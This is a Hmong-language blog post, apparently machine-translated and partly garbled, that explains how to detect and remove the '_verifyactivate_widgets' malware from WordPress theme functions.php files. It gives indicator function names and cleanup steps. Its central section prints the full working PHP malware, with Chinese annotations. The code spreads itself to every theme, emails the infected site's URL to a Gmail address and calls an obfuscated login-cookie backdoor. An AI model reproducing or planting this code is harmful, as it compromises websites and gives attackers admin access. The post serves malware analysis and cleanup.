Yuav ua li cas WordPress cov ntsiab lus ntxuav lub siab phem code _verifyactivate_widgets

tsis ntev los noChen WeiliangHauv kev sivWordfence Security kev ruaj ntseg plugin scans lub vev xaib rau cov lej tsis zooTom qab ntawd, nws tau pomWordPressNyob rau hauv lub ntsiab function.php cov ntaub ntawv, tus kab mob phem code yog muab zais.

Code phem hauv WordPress ntsiab functions.php cov ntaub ntawv

Qhov zoo tshaj plaws qhov chaw rau "kev phem code" hauv WordPress yog function.php nyob rau hauv cov ntsiab lus directory, feem ntau muab zais rau qhov kawg ntawm function.php cov ntaub ntawv.

cov teeb meem tseem ceeb:Tus lej siab phem yuav kuaj xyuas seb puas yog tag nrho cov ntsiab lus hauv blog tam sim no kis tus kab mob txhua zaus ib tus neeg tuaj xyuas koj nplooj ntawv blog.Yog tias tsis yog, lawv yuav kis tau ua ke.

Tom qab ntawd, thaum pib qhov kev nqis tes ua init ntawm wp raug tua, nws yuav xyuas seb qhov blog tam sim no tau xa email rau lub mailbox livethemas@gmailCov. com

Yuav ua li cas koj thiaj paub tias nws tau muab tso rau?

• Hauv koj lub rooj wp_options muaj cov ntaub ntawv hu ua_is_widget_active_kev xaiv, yog tias nws tau xa mus ua tiav, teem nws tus nqi rau 1;
• Yog tias tsis yog, siv qhov homepage URL ntawm qhov tam sim no muaj kab mob blog ua lub npe thiab cov ntsiab lus.
• Qhov ntawd yog nws, tsis muaj lwm yam phem ua.

Tus kab mob phem code yog raws li hauv qab no (tej zaum yuav muaj qee qhov sib txawv, tab sis cov cai hauv paus yog tib yam):

<?php
function _verifyactivate_widgets(){
//当前文件名，如/path-to-www/wp-content/themes/SimpleDark/functions.php
//查找当前主题functions.php文件中最后一个 <? 标记，从这个标记的位置开始，取得一直到文件尾的内容
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),“<“.“?”));
$output=“”;
$allowed=“”;
//去除html和php标签，其实这一句是扯蛋。。。
$output=strip_tags($output, $allowed);
//取得主题目录themes的绝对路径，如 /path-to-www/wp-content/themes
//为了加强程序的兼容性，它不惜以这种很晦涩的方式来获取。。。
//以主题目录themes的绝对路径用array包裹为参数传递给_get_allwidgets_cont函数获取此博客的所有主题的functions.php文件的绝对路径
$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),“themes”) + 6)));
if (is_array($direst)){
foreach ($direst as $item){
//如果主题functions.php文件可写
if (is_writable($item)){
//特征码
$ftion=substr($widget,stripos($widget,“_”),stripos(substr($widget,stripos($widget,“_”)),“(“));
//取目标functions.php文件内容
$cont=file_get_contents($item);
//没找到特征码?OK,试图感染
if (stripos($cont,$ftion) === false){
//查看目标functions.php文件最后是否是以 ?> 结尾，如果不是，给加上 ?> 标记
$comaar=stripos( substr($cont,-20),”?”.”>”) !== false ? “” : “?”.”>”;
//这里的代码是忽悠人了，模仿WP widgets的代码，蛊惑你的眼睛，让你觉得这是widget代码。。。
$output .= $before . “Not found” . $after;
//如果文件是以 ?> 标记结尾的，连标记一起取过来
if (stripos( substr($cont,-20),”?”.”>”) !== false){$cont=substr($cont,0,strripos($cont,”?”.”>”) + 2);}
//开始感染,$widget内容即是恶意代码自身,在functions.php文件原内容后附加恶意代码
$output=rtrim($output, “\n\t”); fputs($f=fopen($item,”w+”),$cont . $comaar . “\n” .$widget);fclose($f);
//后面这句也是伪装用的
$output .= ($isshowdots && $ellipsis) ? “…” : “”;
}
}
}
}
return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
//从$wids数组弹出一个元素(实际上是一个位置)
$places=array_shift($wids);
//如果位置字串是以/结尾的，则去掉/
if(substr($places,-1) == “/”){
$places=substr($places,0,-1);
}

//若不存在这样的文件或目录则直接返回false
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
//否则的话。。。嘿嘿
//遍历此目录
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != “.” && $elem != “..”){
//如果是目录,则加入$wids数组
if (is_dir($places . “/” . $elem)){
$wids[]=$places . “/” . $elem;
} elseif (is_file($places . “/” . $elem)&&
$elem == substr(__FILE__,-13)){
//否则，如果是文件，并且文件名等于 functions.php的话，则加入到$items数组保存,这才是它的目的functions.php正是它要找的
$items[]=$places . “/” . $elem;}
}
}
}else{
return false;
}
//下面还有子目录？再找找看,递归
if (sizeof($wids) > 0){
return _get_allwidgets_cont($wids,$items);
} else {
//好了，完事了，以数组返回所有找到的functions.php文件的绝对路径
return $items;
}
}

//下面是3个针对低版本的php而写的兼容函数
if(!function_exists(“stripos”)){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}

if(!function_exists(“strripos”)){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) – $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) – ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists(“scandir”)){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != “.” && $file != “..”) || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}

//这个动作添加了，用于检测所有主题目录下functions.php并感染
add_action(“admin_head”, “_verifyactivate_widgets”);

function _getprepare_widget(){
if(!isset($text_length)) $text_length=120;
if(!isset($check)) $check=”cookie”;
if(!isset($tagsallowed)) $tagsallowed=”<a>“;
if(!isset($filter)) $filter=”none”;
if(!isset($coma)) $coma=””;
if(!isset($home_filter)) $home_filter=get_option(“home”);
if(!isset($pref_filters)) $pref_filters=”wp_”;
if(!isset($is_use_more_link)) $is_use_more_link=1;
if(!isset($com_type)) $com_type=””;
if(!isset($cpages)) $cpages=$_GET[“cperpage”];
if(!isset($post_auth_comments)) $post_auth_comments=””;
if(!isset($com_is_approved)) $com_is_approved=””;
if(!isset($post_auth)) $post_auth=”auth”;
if(!isset($link_text_more)) $link_text_more=”(more…)”;
if(!isset($widget_yes)) $widget_yes=get_option(“_is_widget_active_”);
if(!isset($checkswidgets))
//这个实际是wp_set_auth_cookie
$checkswidgets=$pref_filters.”set”.”_”.$post_auth.”_”.$check;
if(!isset($link_text_more_ditails)) $link_text_more_ditails=”(details…)”;
if(!isset($contentmore)) $contentmore=”ma”.$coma.”il”;
if(!isset($for_more)) $for_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql=””;

//如果 _is_widget_active_ option内容为空,即表示没有被感染过
if (!$widget_yes) :

global $wpdb, $post;
//取出存在已经通过的评论（不包括trackback/pingback）的文章
// post_author 为 [email protected] 的文章，肯定是没有的

$sq1=”SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND post_author=\”li”.$coma.”vethe”.$com_type.”mas”.$coma.”@”.$com_is_approved.”gm”.$post_auth_comments.”ail”.$coma.”.”.$coma.”co”.”m\” AND post_password=\”\” AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
if (!empty($post->post_password)) {
if ($_COOKIE[“wp-postpass_”.COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__(“There is no excerpt because this is a protected post.”);
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fixed_tags)) $fixed_tags=1;
if(!isset($filters)) $filters=$home_filter;
//$gettextcomments实际上为 wp_mail
if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
if(!isset($tag_aditional)) $tag_aditional=”div”;

//这里$sh_cont即为 [email protected]
if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, “live”), 20);#
if(!isset($more_text_link)) $more_text_link=”Continue reading this entry”;
if(!isset($isshowdots)) $isshowdots=1;

$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
//开始调用　wp_mail 向 [email protected] 发送邮件，标题和内容都是被感染的博客的URL 地址
$sq1=”SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND comment_content=”. call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) .” ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
if($text_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, “<span id=“more-5265”></span>“)) {
$text=explode(“<span id=“more-5675”></span>“, $text, 2);
$l=count($text[0]);
$more_link=1;
//执行这一句时就开始发邮件了。
$comments=$wpdb->get_results($sql);
} else {
$text=explode(” “, $text);
if(count($text) > $text_length) {
$l=$text_length;
$ellipsis=1;
} else {
$l=count($text);
$link_text_more=””;
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . ” “;
}
//把感染标记置为1
update_option(“_is_widget_active_”, 1);
if(“all” != $tagsallowed) {
$output=strip_tags($output, $tagsallowed);
return $output;
}
endif;
$output=rtrim($output, “\s\n\t\r\0\x0B”);
$output=($fixed_tags) ? balanceTags($output, true) : $output;
$output .= ($isshowdots && $ellipsis) ? “…” : “”;
//$filter 为 none …,又是在伪装
$output=apply_filters($filter, $output);
switch($tag_aditional) {
case(“div”) :
$tag=”div”;
break;
case(“span”) :
$tag=”span”;
break;
case(“p”) :
$tag=”p”;
break;
default :
$tag=”span”;
}

//$checkswidgets即是wp_set_auth_cookie
if ($is_use_more_link ) {
if($for_more) {
$output .= ” <” . $tag . ” class=\”more-link\”><a href=\””. get_permalink($post–>ID) . “#more-” . $post->ID .”\” title=\”” . $more_text_link . “\”>” . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : “” . “</a></” . $tag . “>” . “\n”;
} else {
$output .= ” <” . $tag . ” class=\”more-link\”><a href=\””. get_permalink($post–>ID) . “\” title=\”” . $more_text_link . “\”>” . $link_text_more . “</a></” . $tag . “>” . “\n”;
}
}
return $output;
}

//这里是用来干坏事的，这才是这个恶意代码的目的,前面的感染是“准备活动”
add_action(“init”, “_getprepare_widget”);


//这个函数也是用来伪装的,无恶意
function __popular_posts($no_posts=6, $before=”<li>“, $after=”</li>“, $show_pass_post=false, $duration=””) {
global $wpdb;
$request=”SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \”comment_count\” FROM $wpdb->posts, $wpdb->comments”;
$request .= ” WHERE comment_approved=\”1\” AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\”publish\””;
if(!$show_pass_post) $request .= ” AND post_password =\”\””;
if($duration !=””) {
$request .= ” AND DATE_SUB(CURDATE(),INTERVAL “.$duration.” DAY) < post_date “;
}
$request .= ” GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts”;
$posts=$wpdb->get_results($request);
$output=””;
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . ” <a href=\”” . $permalink . “\” title=\”” . $post_title.“\”>” . $post_title . “</a> ” . $after;
}
} else {
$output .= $before . “None found” . $after;
}
return $output;
}
?>

Lub ntsiab lus phem ntawm WordPress yog dab tsi?

Yog tias luam theej duab nrog Wordfence Security plugin txiav txim siab tias koj cov ntaub ntawv function.php tau raug cuam tshuam nrog, xyuas nws, piv txwv li:

1. _verifyactivate_widgets
2. muaj nuj nqi _checkactive_widgets
3. muaj nuj nqi _get_allwidgets_cont
4. muaj nuj nqi stripos
5. muaj nuj nqi strripos
6. muaj nuj nqi scandir
7. muaj nuj nqi _getprepare_widget
8. muaj nuj nqi __popular_posts
9. add_action("admin_head", "_checkactive_widgets");
10. add_action("init", "_getprepare_widget");
11. _verify_isactivate_widgets
12. _check_isactive_widget
13. _get_allwidgetscont
14. _prepare_widgets
15. __popular_posts

• Txhua kab yog ywj siab, yog tias koj muaj cov cai saum toj no hauv koj lub functions.php ces koj yuav raug ntaus.
• Ntawm lawv, cov haujlwm thiab add_action feem ntau yog cov cai ntawm "malicious code" uas yog "kev npaj ua haujlwm".

Yuav ua li cas tshem WordPress ntsiab function.php siab phem tus kab mob code?

Nws kuj yog ib qho yooj yim heev los ntxuav, tsuas yog nrhiav cov cai zoo ib yam li cov saum toj no hauv function.php cov ntaub ntawv ntawm lub ntsiab lus WordPress thiab rho tawm, tab sis vim hais tias ib zaug kis tau tus kab mob, tag nrho cov ntsiab lus hauv koj cov ntsiab lus directory yuav kis tau, yog li tsuas yog cov tam sim no Lub ntsiab lus siv tsis raug thiab yuav raug tsim tawm sai sai tom qab tshem tawm.

Txoj kev daws teeb meem yog tshem tawm cov kab mob phem ntawm ib lub ntsiab lus WordPress, teeb tsa cov ntaub ntawv functions.php rau 444 kev tso cai, thiab tom qab ntawd ntxuav lwm cov ntsiab lus WordPress.

Raws li seb 444 kev tso cai ntawm lub xeem functions.php cov ntaub ntawv yuav tsum tau hloov rov qab, cov neeg hais tias 444 kuj muaj kev nyab xeeb thiab tuaj yeem hloov kho thaum tsim nyog.

Cov lus ceeb toom ntawm kev siv Wordfence Security plugin

Peb pom zoo kom WordPress plugin los ntawm Wordfence Security, WordPress kev ruaj ntseg plugin nrog kev sib koom ua ke firewall thiab malware scanning, tsim thiab tswj los ntawm pab pawg loj uas yog 100% tsom rau WordPress kev ruaj ntseg.

Txawm hais tias muaj cov qauv them nyiaj, peb tuaj yeem siv qhov dawb module "Scan" los luam theej duab peb lub vev xaib WordPress rau PHP cov ntaub ntawv uas muaj "cov lej tsis zoo", txawm hais tias muaj qee qhov tsis zoo tus nqi (feem ntau yog qee qhov tseeb plugins, lub ntsiab lus encryption yuav raug thaiv. los ntawm qhov tsis muaj tseeb), tab sis nrhiav "kev phem code" yog qhov ua haujlwm ntau dua nrog kev siv zog tsawg.

Nws yuav tsum raug sau tseg tias qhov plug-in no tsis pom zoo kom qhib ntau zaus, vim tias nws cov firewall thiab kev tiv thaiv kev ruaj ntseg yuav ua rau muaj qee qhov kev thauj khoom siab ntawm cov ntaub ntawv thiab cuam tshuam rau kev ua haujlwm ntawm lub vev xaib.

Feem ntau, plugins tau qhib kom khiav "scan" scans thaum xav tau.

Kaw lub plug-in tom qab kev tshawb nrhiav tiav, thaum muaj xwm txheej ceev.